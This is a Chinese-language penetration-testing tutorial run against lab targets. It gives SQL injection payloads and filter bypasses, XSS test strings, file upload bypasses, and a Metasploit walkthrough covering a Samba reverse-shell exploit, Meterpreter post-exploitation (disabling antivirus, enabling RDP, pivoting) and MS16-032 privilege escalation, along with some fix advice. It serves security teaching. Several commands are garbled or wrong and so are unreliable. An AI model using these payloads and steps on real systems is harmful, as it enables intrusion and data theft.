访问该网址时,页面返回yes,在网址的后面加上一个单引号,再次访问,页面返回no。这个结果与Boolean注入非常相似,时间盲注,它与Boolean注入的不同之处在于,时间注入是利用sleep()或benchmark()等函数让MySQL的执行时间变长。时间盲注多与IF(expr1,expr2,expr3)结合使用,此if语句含义是:如果expr1是TRUE,则IFO的返回值为expr2:否则返回值则为expr3。所以判断数据库库名长度的语句应为:

if (length(database())>1,sleep(5),1)

4.2.2 堆叠查询注入攻击

堆叠查询注入攻击的测试地址:http://127.0.0.1/dd.php?id=1.

堆叠查询可以执行多条语句,多语句之间以分号隔开。堆叠查询注入利用这个特点,在第二个SQL语句中构造自己要执行的语句。首先访问id-1‘,页面返回 MySQL错误,再访问id-1%23,页面返回正常结果。这里可以使用Boolean注入、时间注入,也可以使用另外一种注入方式--堆叠注入。

堆叠注入的语句为:

select if(substr(user(),1,1)='r',sleep(3),1)%23

从堆叠注入语句中可以看到,第二条SQL语句(select if(substr(user0.1,1) ,deepO3).19%23)就是时间盲注的语句。

获取数据库表名:

';select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23

4.2.3 二次注入攻击

二次注入攻击的测试地址:

其中,1php页面的功能是注册用户名,也是插入SQL语句的地方;

2.php页面的功能是通过参数ID读取用户名和用户信息。

第一步,访问1.php?uscrmame=test.

从页面返回结果可以看到用户名test‘对应的ID为21,访问2.php?id=21。

从返回结果可以看到服务端返回了MySQL的错误(多了一个单引号引起的语法错误),这时回到第一步,先访问1php?usemame=test'order by1%23,获取一个新的 id=32,当再次访问2.php?id-32时,页面返回空白;再次尝试,访问1.php?username=test‘order by 10%23,获取一个新的id-33,当再访问2php?id=33时,页面返回错误信息(Unknown column '10"in 'order clause'),这说明空白页而就是正常返回,通过不断尝试,判断字段数,访问1.php?username=test' union select 1,2,3%23,获取一个新id=39,再访问2.php?id=39,发现页面返回了 union select中的2和3字段。在2、2字段中间,插入语句就可获得数据库中的数据。

4.2.4 宽字节注入攻击

尝试在页面2的位置查询当前数据库的库名(database()),语句为:

1d=-1%df’ union select 1,user(),3,%23

查询数据库的表名时,用以下语句:

select table_name from information_schema.tables where table_schema='sq1’ limit 0,1

但此时,由于单引号被转义,会自动多出反斜杠,导致SQL语句出错,所以此处需要利用另一种方法:嵌套查询,就是在一个查询语句中,再添加一个查询语句,下列就是更改后的查询数据库表名的语句:

select table_name from information_schema.tables where table_schema=(select databse()) limit 0,1

可以看到,原本的table_schema-'sql"变成了table_schema=(select databasc()),因为 select database()的结果就是'sql’,这就是嵌套查询。

如果想查询后面的表名,还需修改limit后的数字,可用以下语句尝试查询emails表里的字段:

select column_name from information_schema.columns where table_schema=(select database()) and table_name=( select table_name from information_schema.tables where table_schema=(select databse()) limit 0,1) limit 0,1

这里使用了三层嵌套,第一层是table_schema,它代表库名的嵌套,第二层和第三层是table_name的嵌套。我们可以看到语句中有两个limit,前一个limit控制表名的顺序,后一个则控制字段名的顺序。如这里查询的不是emails表,而是users表,则需要更改limit的值。后面的操作如Union注入所示。

4.2.5 cookie注入攻击

发现URL中没有GET参数,但是页面返回正常,使用Burp Suite抓取数据包,现cookie中存在id=1的参数。修改cookie中的id=1为id=l',然后再次访问该URL,发现页面返回错误。接下来,分别修改cookie中id=1为id=l and 1=1和id =l and 1=2,再次访问,判断该页面是否存在SQL注入漏洞,返回结果如图4-57和图4-58所示,得出cookie中的参数ID存在SQL注入的结论。接着使用order by查询字段,使用Union注入方法完成此次注入。

4.2.6 base64注入攻击

测试地址:http://127.0.0.1/sql/base64/base64.php?id=MQ %3d %3d.

从URL中可以看出,ID参数经过base64编码(%3d是=的URL编码格式),解码后发现ID为1,尝试加上一个单引号并一起转成base64编码。

当访问id=1'编码后的网址时(http://127.0.0.1/sql/base64/base64.php?id=MSc%3d),页面返回错误。1and 1=1和1 and 1=2的base64编码分别为MSBhbmQgMT0x和MSBhbm QgMTOy,再次访问id=MSBhbmQgMT0x和id=MSBhbmQgMTOy。从返回结果可知,访问id=1 and id 1=1时,页面返回与id=1相同的结果,而访问id=1 and 1=2时,页面返回与id=1不同的结果,所以该网页存在SQL漏洞。

接着,使用order by查询字段,使用Union方法完成此次注入。

4.2.7 XFF注入攻击

通过Burp Suite抓取数据包容,可以看到HTTP请求头中有一个头部参数 X-Forwarded-for。X-Forwarded-For简称XFF头,它代表客户端真实的IP,通过修 X-Forwarded-for的值可以伪造客户端IP、将X-Forwarded-for设置为127.0.0.1、然后请问该URL、页面返回正常,将X-Forwarded-for设置为127.0.0.1、再次访问该URL,页面返回MySQL的报销信息,将X-Forwarded-for分别设置为127.0.0.1‘and 1=1#和127.0.0.1‘and 1=2#,再次访问该URL。通过页面的返回结果,可以判断出该地址存在SQL注入漏洞,可用order by判断表中的字段数量,尝试使用Union查询注入方法,语法为:X-Forwarded-for:127.0.0.1’ union select 1,2,3,4#。接着使用Union注入方法完成此次注入。

4.3 SQL注入绕过技术

4.3.1 大小写绕过注入

访问id-1发现页面报出MySQL错误,当访问id=1 and 1=1时,页面返回”no hack”,显然是被拦截了,说明有关键词被过滤。使用关键字大小写的方式尝试绕过,使用order by查询字段数量,发现还是被拦截了,还是利用修改关键字大小写来绕过它,尝试只改order这个单词,结果发现当order改成Order后,页面显示正常,说明by并没有被拦截,zui终通过尝试,发现数据库表中存在3个字段。接着,使用Union方法完成此次注入,若仍遇到关键字被拦截,可尝试修改大小写的方式绕过拦截。

4.3.2 双写绕过注入

双写绕过注入的测试地址:http://127.0.0.1/sql/2.php?id=1。

访问id=1’,发现页面报出MySQL错误,接着访问id=1 and 1=1,页面依然报出 MySQL的错误,但是从错误信息中可以看出,输入的and 1=1变成了1=1,因此可以得知,关键字and被过滤了。这时尝试使用双写的方式绕过,如anandd 1=1,当and被过滤后,anandd变成了and,所以这时传入数据库的语句是and 1=1,之后结果成功执行并返回正常页面。接着,输入aandnd1=2,返回错误信息,判断页面参数存在SOL注入漏洞。当访问id=1 order by 3时,MySQL的错误信息为“der by3”,所以这里并没有过滤order整个单词,而是仅过滤or,因此只需要双写or即可。

4.3.3编码绕过注入

编码绕过注入的测试地址:http://127.0.0.1/sql/3.php?id=1.

访问id=1',发现页面报出MySQL错误,接着访问id=1 and 1=1和id-1 and 1=2时,发现关键字and被拦截。尝试使用URL全编码的方式绕过拦截。由于服务器会自动对 URL进行一次URL解码,所以需要把关键词编码两次,注意,URI编码需选择全编码,关键字and进行两次URI全编码的结果是%25%36%31%25%36%65%25%36%34,访问 id-1%25%36%31%25%36%65%25%36%34 1=1时,页面返回与id=1相同的结果,访问 id-1 %25%36%31%25%36%65%25%36%34 1=2时,页面返回与id=1不同的结果,所以该网址存在SQL注入漏洞。后面的注入过程与Union注入的一致,判断过滤的关键词,并经过两次URL全编码即可。

4.3.4内联注释绕过注入

内联注释绕过注入的测试地址:http://127.0.0.1/sql/4.php?id=1。

访问id-1',发现页面报出MySQL错误,接着访问id=1 and 1=1和id=1 and 1=2时,发现页面提示“no hack”,即关键字被拦截。尝试使用内联注释绕过。访问id=1/*!and*/1=1时,页面返回与id=1相同的结果;访问id=1/*!and*/1=2时,页面返回与id-1不同的结果,后面的注入过程与Union注入的一致。

4.3.5 SQL注入修复建议

常用的SQL注入漏洞的修复方法有两种

1.过滤危险字符

多数CMS都采用过滤危险字符的方式,如果匹配到,则退出程序。使用过滤的方式,在一定程度上可以防止SQL注入漏洞,但仍然存在被绕过的可能。

2、使用预编译语句

使用PDO预编译语句,需注意,不要将变量直接拼接到PDO语句中,而要使用占位符进行数据库的增加、删除、修改、查询。

4.4 XSS基础

4.4.1 XSS漏洞介绍

跨站脚本(简称XSS)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。

XSS攻击可分为三种:反射型、存储型和DOM型。

4.4.2 XSS漏洞原理

1、反射型XSS

反射型XSS又称非持久型XSS,这种攻击方式往往具有一次性。

攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

2.存储型XSS

存储型XSS又称持久型XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。

攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

例如,恶意攻击者在留言板中加入以下代码:<script>alert(/hacker by hacker/)</script>.

当其他用户访问留言板时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所有访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存链型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。

3.DOM型XSS

DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

HTML的标签都是节点,而这些节点组成了DOM的整体结构—节点树。通过 HTML DOM,树中的所有节点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。

在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从面修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。

攻击方式:用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在漏洞。

4.4.3 反射型XSS攻击

页面http://192.168.1.101/xss/xss1.php实现的功能是在“输入”表单中输入内容,单击“提交”后,将输入内容放到“输出”表单中,当访问页面时,看到输入的双引号闭合了value属性的双引号,输入的>闭合了input标签的<,导致输入的<img src=1 οnerrοr= alert(/xss/)/>变成了HTML标签。接下来,在浏览器渲染时,执行了<img src=1 οnerrοr= alert(/xss/)/>,JS函数alert()导致浏览器弹框,显示“/xss/”。

4.4.4存储型XSS攻击

存储型XSS页面实现的功能是:获取用户输入的留言信息、标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面上。

4.4.5 DOM型XSS攻击

DOM型XSS攻击页面实现的功能是在“输入”框中输入信息,单击“替换”按纽时、页面会将这里会显示输入的内容”替换为输入的信息、例如当输入“11”的时候,页面将“这里会显示输入的内容”替换为“11”。

当输入< img src=1 οnerrοr=alert(/xsss/)>时,单击“替换”按钮,页面弹出消息框。从HTML源码中可看到,存在JS函数tihuan(),该函数的作用是通过DOM操作将元素id1(输出位置)的内容修改为元素dom_input(输入位置)的内容。

4.5 XSS进阶

4.5.1 XSS常用语句及编码绕过

XSS常用的测试语句有:

<script>alert(1)</scripd

<ing src-x onerror-alert(1)><svg onload-alert(1)>

<a href-javascriptalert(1)>

常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码

1.JS 编码

JS提供了四种字符编码的策略,如下所示:

2.HTML实体编码

实体命名:以&开头,以分号结尾。

字符编码:十进制、十六进制ASCLL码或Unicode字符编码,样式为“&#数值;”。

3.URL编码

在使用XSS编码测试时,需要考虑HTML渲染的顺序。

4.5.2 使用XSS平台测试XSS漏洞

首先在XSS平台注册账号并登录,单机“我的项目”中的“创建”按钮,勾选“默认模块”后,单击下一步,根据HTML源码选择合适的利用代码,以此构建浏览器能够执行的代码,将利用代码插入到存在XSS漏洞的URL后,查看源代码。

4.5.3 XSS漏洞修复建议

因为XSS漏洞涉及输入和输出两部分,所以其修复也分为两种。

(1)过滤输入的数据,包括“,”“””“<”“>”“on*”等非法字符。

(2)对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等。

4.6 CSRF漏洞

4.6.1 介绍CSRF漏洞

CSRF(跨站请求伪造)是一种对网站的恶意利用。与XSS相比,CSRF攻击往往不大流行,但也更难防范,所以相较于更具危险性。

4.6.2 CSRF漏洞的原理

CSRF:攻击者利用目标用户的身份,以用户的名义执行某些非法操作。

它能做的事包括:一目标用户的身份发送邮件、发消息,盗取目标用户的账号,甚至购买商品、虚拟货币转账,所以会泄露个人隐私并威胁到了目标用户的财产安全。

CSRF的攻击过程有两个重点:

4.6.3 利用CSRF漏洞

CSRF漏洞经常内用来制作蠕虫攻击、刷SEO流量等。

4.6.4 分析CSRF漏洞代码

下面的代码是后台添加用户的代码,执行流程如下:

(1)获取GET参数username和参数password,然后通过select语句查询是否存在对应的用户,若用户存在,会通过$_SESSION设置一个session:isadmin=admin,否则设置session: isadmin=guest。

(2)接下来判断session中的isadmin是否为admin,如果isadmin!=admin,说明用户没有登录,那么跳转到登录页面。所以只有在管理员登录后才能执行添加用户的操作。

(3)获取POST参数username和参数password,然后插入users表中,完成添加用户的操作。

当管理员访问了攻击者构造的CSRF页面后,会自动创建一个账号。

4.7 SSRF漏洞

4.7.1 介绍SSRF漏洞

SSRF(服务器端请求伪造)是一种由攻击者构造请求,由服务器端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统。

4.7.2 SSRF漏洞原理

SSRF的形成大多是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过过滤与限制。

主要攻击方式如下:

4.7.3 SSRF漏洞利用

SSRF漏洞利用的测试地址:

页面ssrf.php实现的功能是获取GET参数URL,然后将URL的内容返回网页上。如果将请求的网址算改为http://wwwbaidu.com,则页面会显示http://www.baidu.com的网页内容.但是,当设置参数URL为内网地址时,则会泄露内网信息。

4.7.4 SSRF漏洞修复建议

针对SSRF漏洞的修复:

4.8 文件上传

4.8.1 有关文件上传的知识

1、 为什么文件上传存在漏洞

上传文件时,如果服务端代码未对客户端上传的文件进行严格的验证和过滤。就容易造成可以上传任意文件的情况,包括上传脚本文件(asp、aspx、php、jsp等格式的文件)。

2、危害

非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门, WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

4.8.3 JS检测绕过攻击

JS检测绕过上传漏洞常见于用户选择文件上传的场景,如果上传文件的后缀不被允许,则会弹框告知,此时上传文件的数据包并没有发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。

这时有两种方法可以绕过客户端JavaScript的检测:

4.8.4 文件后绕过攻击

文件后缀绕过攻击是服务端代码中限制了某些后缀的文件不允许上传,但是有些Apache是允许解析其他文件后缀的,若配置有以下代码,则可解析php和phtml文件:

AddType application/x-httpd-php.php.phtml

所以,可以上传一个后缀为phtml的WebShell。

4.8.5 文件类型绕过攻击

在客户端上传文件时,通过Burp Suite抓取数据包,当上传一个php格式的文件时,可以看到数据包中Content-Type的值与上传jpg格式的文件时,数据包中的Content-Type不同,如果服务端代码是通过Content-Type的值来判断文件类型,那么就存在被绕过的可能,因为Content-Type的值是通过客户机传递的,可以任意修改。

4.8.5 文件截断绕过文件

截断类型:PHP%00截断。

截断原理:由于00代表结束符,所以会把00后面的所有字符删除。

截断条件:PHP版本小于5.3.4,PHP的magic_quotes_gpc为OFF状态。

4.8.6 竞争条件攻击

  • Metasploit
  • Metasploit简介

本章中示例以Kali操作系统为基础,该操作系统预装Metasploit及在其上运行工具的第三方工具。Kali系统的下载地址为http://www.kali.org/downloads/。

Metasploit框架( Metasploit Framework,MsF)旨在方便渗透测试,具有很好的扩展性,便于渗透测试人员开发、使用定制的工具模板。

Metasploit可向后端模块提供多种用来控制测试的接口(如控制台、Web、CLD)。Metasploit还有第三方程序的接口,例如Nmap、SQLMAP等,可以直接在控制台接口里使用,要访问该界面,需要在命令行下输入msfconsole,MSF的启动界面

知识点:在使用Kali操作系统时应注意及时更新源,就像平时要及时更新手机Ap个道理。更新命令有 apt-get update、 apt-get upgrade和 lapt-get dist-upgrade。

apt- get update:只更新软件包的索引源,作用是同步源的软件包的素引信息,从而进行软件更新。

oapt- get upgrade:升级系统上安装的所有软件包,若更新失败,所涉及的包会保持更新之前的状态

apt- get dist-upgrade:升级整个 Linux系统,例如从 Kali Linux1.0.1升级到Kali,Linux1.0.2(不仅能够升级所有已安装的软件包,而且会处理升级过程中可能出现的软件冲突。某些情况下,它的部分升级过程需要人工参与)。

  • Metasploit基础
  • 专业术语

MSF框架由多个模块组成,各个模块及其具体的功能如下。

1、 Auxiliaries(辅助模块)

该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、探、指纹识别等相关功能以辅助渗透测试。

2. Exploit(漏洞利用模块)

漏洞利用是指由透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流的透攻击技术包括缓冲区溢出、Web应用程序攻击,以及利用配置错误等,其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序,用于破坏系统安全性的攻击代码,每个漏洞都有相应的攻击代码。

3.Payload(攻击载荷模块)

攻击载荷是我们期望目标系统在被滲透攻击之后完成实际攻击功能的代码,成功滲透目标后用于在目标系统上运行任意命令或者执行特定代码,在 Metasploit框架中可以自由地选择传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令,如添加用户账号等。

4.Post(后期渗透模块)

该模块主要用于在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、实施跳板攻击等。

5. Encoders(编码工具模块)

该模块在滲透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。

  • 渗透攻击步骤

大致步骤如下:

  • 主机扫描

扫描和收集信息时渗透测试中的第一步,其主要目标是尽可能多地发现有关目标机器的信息。获取信息越多,渗透概率越大。主要关注点是目标机器IP地址、可用服务、开放端口等。

  • .使用辅助模块进行端口扫描

辅助模块是Metasploit的内置模块,首先利用search命令搜索有哪些可用端口模块。

图中所示扫描类型中,以TCP扫描模块举例。

输入use命令即可使用该漏洞利用模块,使用show options命令查看需要设置的参数,

在Required列中,被标记为yes的参数必须包含实际的值,其中RHOSTS设置待扫描的IP地址、PORTS设置扫描端口范围、THREADS设置扫描线程,线程数量越高,扫描的速度越多。使用set命令设置相应的参数,也可以使用unset命令取消 某个参数值的设置。

目标机器开了139、135、445三个端口。

知识点:其实还有两条可选命令--setg命令和unsetg命令。二者用于在 msfconsole中设置或者取消设置全局性的参数值,从而避免重复输入相同的值

(二)使用辅助模块进行服务扫描

在扫描目标机器上运行的服务时,有多种基于服务的扫描技术可供选择,例如 VNC、FTP、SMB等,只需执行特定类型的扫描就可以发现服务。

通过search命令搜索scanner可以发现大量的扫描模块,建议读者多尝试不同的辅助扫描模块,了解其用法。使用的步骤与使用端口扫描模块时的基本相同,这里就不演示了,附上一些常用的扫描模块。

(三)使用Nmap扫描

Nmap不仅可以用来确定目标网络上计算机的存活状态,而且可以扫描计算机的操作系统、开放端口、服务等。熟练掌握可以极大提高个人的渗透测试技术。

实际使用时,在msf命令提示符下输入nmap,就可以显示Nmap提供的扫描选项列表

现在我们要获取目标主机的操作系统,输入nmap-O-Pn/-p0 URI命令,其中 Pn和-p0(数字0)参数的意思是不使用ping的方式,而且假定所有主机系统都是活动的,可以穿透防火墙,也可以避免被防火墙发现

可以看到目标主机的操作系统是Windows 2021|7|8.1。

  • 漏洞利用

每个操作系统都会存在各种Bug。没用公布补丁的Bug就是所谓的0day漏洞。

下面就假设目标机是Metasploitable2,对Linux机器进行渗透攻击。(Metasploitable2虚拟系统是一个特别制作的Ubuntu操作系统,主要用于安全工具测试和演示常见的漏洞攻击。该虚拟系统兼容VMware、VirtualBox和其他虚拟平台,默认只开启一个网络适配器并且开启NAT和Host-Only。该工具可以在网站http:/ sourceforge.net/projects/metasploitable/files/Metasploitable2下载。)

首先对Linux目标机进行扫描,收集可用的服务信息。使用Nmap扫描并查看系统开放端口和相关的应用程序

收集到目标机相关信息后,为其选择正确的Exploit和合适的Payload。从扫描结果中发现主机运行着Samba 3.x服务。

输入msf>search samba命令搜索Samba的漏洞利用模块,并选择合适的漏洞利用模块。

然后Samba服务将返回漏洞利用模块的列表,按照各个漏洞被成功利用的相对难易度进行排序。为提高渗透成功率,这里选择“Excellent”进行接下来的渗透。

输入以下命令即可使用该漏洞利用模块。

Msf> use exploit/multi/samba/usermap_script

然后就可以看到Metasploit命令提示符msf>会变成msf exploit(usermap_script) >。

使用的命令即可查看该漏洞利用模块下可供选择的攻击载荷模块,因为目标是Linux机器,因此一定要选择Linux的攻击载荷。

这里使用的命令选择基础的cmd/unix/reverse反向攻击载荷模块。

设置被攻击主机IP地址,命令如下所示。

msf exploit (usermap_script) > set RHOST 192.168.172.134

设置漏洞利用的端口号,命令如下

msf exploit (usermap_script) > set RHOST 445

设置发动攻击主机IP地址,命令如下。

msf exploit (usermap_script) > set RHOST 192.168.172.136

设置完就可以使用的命令再次确认参数是否已设置正确。

设置完所有参数变量后,输入攻击命令exploit或者run,如下所示,发动攻击。

msf exploit (usermap_script) > exploit

MSF发动攻击成功后会获取目标主机的Shell为了验证该Shell是目标主机的,可以查询主机名、用户名和IP地址,并与目标主机进行对比。

攻击成功后,可以看到在攻击机和目标机之间会建立一个Shell链接,渗透Windows系统的过程类似,唯一差别就是选择的漏洞模块和攻击载荷模块不一样,建议多尝试各种Exploit好人Payload的组合。

防御方法:Samba服务漏洞发生在 Sambal版本3.020-3.0.25rc3中,当使用非默认用户名映脚本配置时,通过指定一个用户名包含Shel元字符,攻击者可以执行任意命令。将 Samba升级到zui新版本即可防御本漏洞。

  • 后渗透攻击:信息收集

成功地对目标机器攻击渗透后还可以做什么? Metasploitt提供了一个非常强大的后渗透工具-Meterpreter该工具具有多重功能,使后续的渗透入侵变得更容易获取目标机的 Meterpreter Shell后,就进入了 Metasplozui精彩的后期渗透利用阶段,后期渗透模块有200多个, Meterpreter有以下优势。

1.纯内存工作模式,不需要对磁盘进行任何写入操作。

2.使用加密通信协议,而且可以同时与几个信道通信。

3.在被攻击进程内工作,不需要创建新的进程。

4.易于在多进程之间迁移。

5.平台通用,适用于Windows、Linux、BSD系统,并支持Inter x86和Inter x64平台。

(一)进程迁移

在刚获得 Meterpreter Shell时,该Shel是极其脆弱和易受攻击的,例如攻击者可以利用览器漏洞攻陷目标机器,但攻击滲透后浏览器有可能被用户关闭。所以第步就是要移动这个Shel,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得滲透更难被检测到。输入ps命令获取目标机正在运行的进程,如图5-14所示。

输入 getpid命令査看 Meterprerer Shelll的进程号,如图5-15所示。

可以看到 Meterpreter Shell进程的PID为984,Name为138.exe,然后输入 migrate448命令把Shel移动到PID为448的 Explorer.exe进程里,因为该进程是一个稳定的应用。leterpreter Shell的进程号,发现PID完成进程迁移后,再次输入 getpid命令査看Me已经变成了448,说明已经成功迁移到 Explorer. exe进程里,如图5-16所示。

进程迁移完成后,原先PID为984的进程会自动关闭,如果没有自动关闭可以输入ki984命令“杀掉”该进程。使用自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的进程然后迁移,如图5-17所示。

如图5-17所示,系统已经自动把原来的PID为1808的进程迁移到308中。

  • 系统命令

获得了稳定的进程后,接下来收集系统信息。

先输入 sysinfo命令査看目标机的系统信息,例如操作系统和体系结构,如图5-18所示。

输入 run post/windows/ gather/checkin命令检查目标机是否运行在虚拟机上,如图5-19所示。

接着输入route命令查看目标及完整的网络设置,如图5-21所示。

除此之外,可以输入 background命令将当前会话放到后台,此命今适合在多个Meterpretert会话的场景下使用。还可以输入getuid命今查看当前目标机器上已经渗透成功的用户名,如图5-22所示。

接着输入 run post/windows/manage/killa命令关闭目标机系统杀毒软件,如图5-23所示。

输入 run post/windows/ manage/enak_命令启动目标机的远程桌面协议,也就是常说的3389端口,如图5-24所示。

然后输入run post/windows/ manage/autoroute命令查看目标机的本地子网情况,如图5-25所示。

接着进行跳转,先输入background命令将当前Meterpreter终端隐藏在后台,然后输入route add命令添加路由器,添加成功后输入route print命令查看,具体操作如图5-26所示。

可以看到一条地址为192.168.172.0的路由器已经被添加到已攻陷主机的路由表中,然后就可以借助被攻陷的主机对其他网络进行攻击了。

接着输入run post/ windows/gather/enum_logged_on_users命令列举当前有多少用户登陆了目标机。

可以看到系统有 shuter、test、Administrator三个用户,而且 Administrator l目前登录了系统。

列举了用户之后,继续输入 run post/ windows/ gather/enum_applications命令列举安装在目标机上的应用程序

下面这个命令可以抓取自动登录的用户名和密码。

可以看到,当前没有抓到任何信息。此时就需要用到扩展插件 Espia,使用前要先输入load espia命令加载该描件,然后输入 screengrab命令就可以抓取此时目标机的屏幕截图。

抓取成功后就生成了一个名为ojJUEbgq的图片,保存在root目录下。这里输入

screenshot命令也可以达到同样的效果。

  • 文件系统命令

常见的文件系统命令及其作用如下所示。

  • 后渗透攻击:权限提升

通常,我们在滲透过程中很有可能只获得了一个系统的 Guest或User权限,在主机上如果没有管理员权限,就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作,所以必须将访问权限从 Guset提升到User,再到 Administratorzui后到 System级别。

渗透的zui终目的是获取服务器的zui高权限,即 Windowst操作系统中管理员账号的权限,或Linx操作系统中root账户的权限。提升权限的方式分为以下两类。

纵向提权:低权限角色获得高权限角色的权限。例如,一个 Webshell权限通过提权之后拥有了管理员的权限,那么这种提权就是纵向提权,也称作权限升级。

横向提权:获取同级别角色的权限。例如,通过已经攻破的系统A获取了系统B的权限,那么这种提权就属于横向提权。

所以在成功获取目标机 Meterpreter Shell后,我们要知道现在已经拥有了什么权限

在 Meterpreter Shell下输入shel命令进入目标机的CMD命令行,如图5-46所示。

接着输入whoami/groups命令查看我们当前的权限,如图5-47.

从图5-47中可以看到,当前的权限是 Mandatory Label\Medium Mandatory Level,说明我们是一个标准用户,那么就需要将用户权限从标准用户提升到管理员,也就Mandatory Label\high Mandatory Level。

计算机有个地方叫缓存区,程序的缓存区长度是事先被设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出。

  • 利用WMIC实战MS16-032本地溢出漏洞

假设此处我们通过一系列的渗透测试得到了目标机器的Meterpreter Shell。

首先输getuid命令查看已经获得的权限,可以看到现在的权限很低,是test权限尝试输入getsystem命令提权,结果失败,如图5-48所示。

接着查看系统的已打补丁,传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C: \windows\里留下的补丁号“.log”查看目标机大概打了哪些补丁,如图5-49所示。

可以看到目标机只安装了两个修补程序。这里再利用WMIC命令列出已安装的补丁,如图5-50所示。

同样可以看到目标机只打了2个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁編号与提权的EXP编号进行对比。比如 Kitrapod(KB979682)、MS1-011(KB2393802),MS11-080(KB2592799),然后使用没有编号的EXP进行提权。因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用zui新的MS16-032来尝试提权,对应的编号是KB3139914。

相关漏洞的具体信息分析和共享可以参考如下两个网站。

1.安全焦点,其 Bug Traq是一个出色的漏洞和 Exploit数据源,可以通过CVE编号或者产品信息漏洞直接搜索。网址:http://ww. securityfocus. com/bid。

2.Exploit-DB,取代了老牌安全网站 milw0rm。 Exploit-DB不断更新大量的Exploit程序和报告,它的搜索范围是整个网站的内容。网址:htp://www.exploit-db.com。

知识点:WMIC是 Windows Management Instrumentation Command.line的简称,它是一款命令行管理工具,提供了从命令行接口到批命今脚本执行系统管理的支持,可以说是 Windows平台下zui有用的命令行工具。使用WMIC,我们不但可以管理本地计算机,还可以管理同一域内的所有远程计算机(需要必要的权限),而被管理的运程计算机不必事先安装WMIC。

wmic.exe位于 Windows l目录下,是一个命令行程序。WMC可以以两种模式执行交互模式( Interactive mode)和非交互模式(Non- -Interactive mode),经常使用 Netsh命令行的读者应该非常熟悉这两种模式。

1.交互模式。如果你在命令提示符下或通过“运行”菜单只输入WMIC,都将进入WMIC的交互模式,每当一个命令执行完毕后,系统还会返回到WMIC提示符下,如“ Rootcli”,交互模式通常在需要执行多个WMIC指令时使用,有时还会对一些敏感的操作要求确认,例如删除操作,这样能

zui大限度地防止用户操作出现失误。

2.非交互模式。非交互模式是指将WMIC指令直接作为WMIC的参数放在MMC后面,当指令执行完毕后再返回到普通的命令提示符下,而不是进入WMC上下文环境中。WMIC的非交互模式主要用于批处理或者其他一些脚本文件中。

需要注意的是,在 Windows XP下,低权限用户是不能使用WMIC命令的,但是在 Windows7系统和 Windows8系统下,低权限用户可以使用WMC,且不用更改任何设置。

WMIC在信息收集和后渗透测试阶段非常实用,可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。接下来准备提权,同样需要先把 Meterpretera会话转为后台执行,然后搜素MS16-032,如图5-51所示。

知识点:如果搜索不到zui新的Exploit,可以输入msfupdate命令进行升级,获取zui新的Exploit模块、攻击载荷,或者手动添加相应漏洞EXP。

执行以下命令选中MS16-032这个漏洞然后指定“ session"”进行提权操作,这里我们指定服务“ session”为“1”。

zui后直接输入exploit或run命令即可。

根据返回的信息可以看到已经创建新的 session,并提示提权成功。接着查看这个Meterpreter Shell的权限,已经是 SYSTEM级权限了,如图5-54所示。

防御方法:这个漏洞的安全补丁编号是KB3139914,我们只要安装此补丁就可以

了,也可以通过第三方工具下载补丁包打上该补丁。

知识点:为方便提权,下面附上笔者收集的部分系统对应补丁号,如表52所示。

  • 令牌窃取
  • 令牌简介及原理

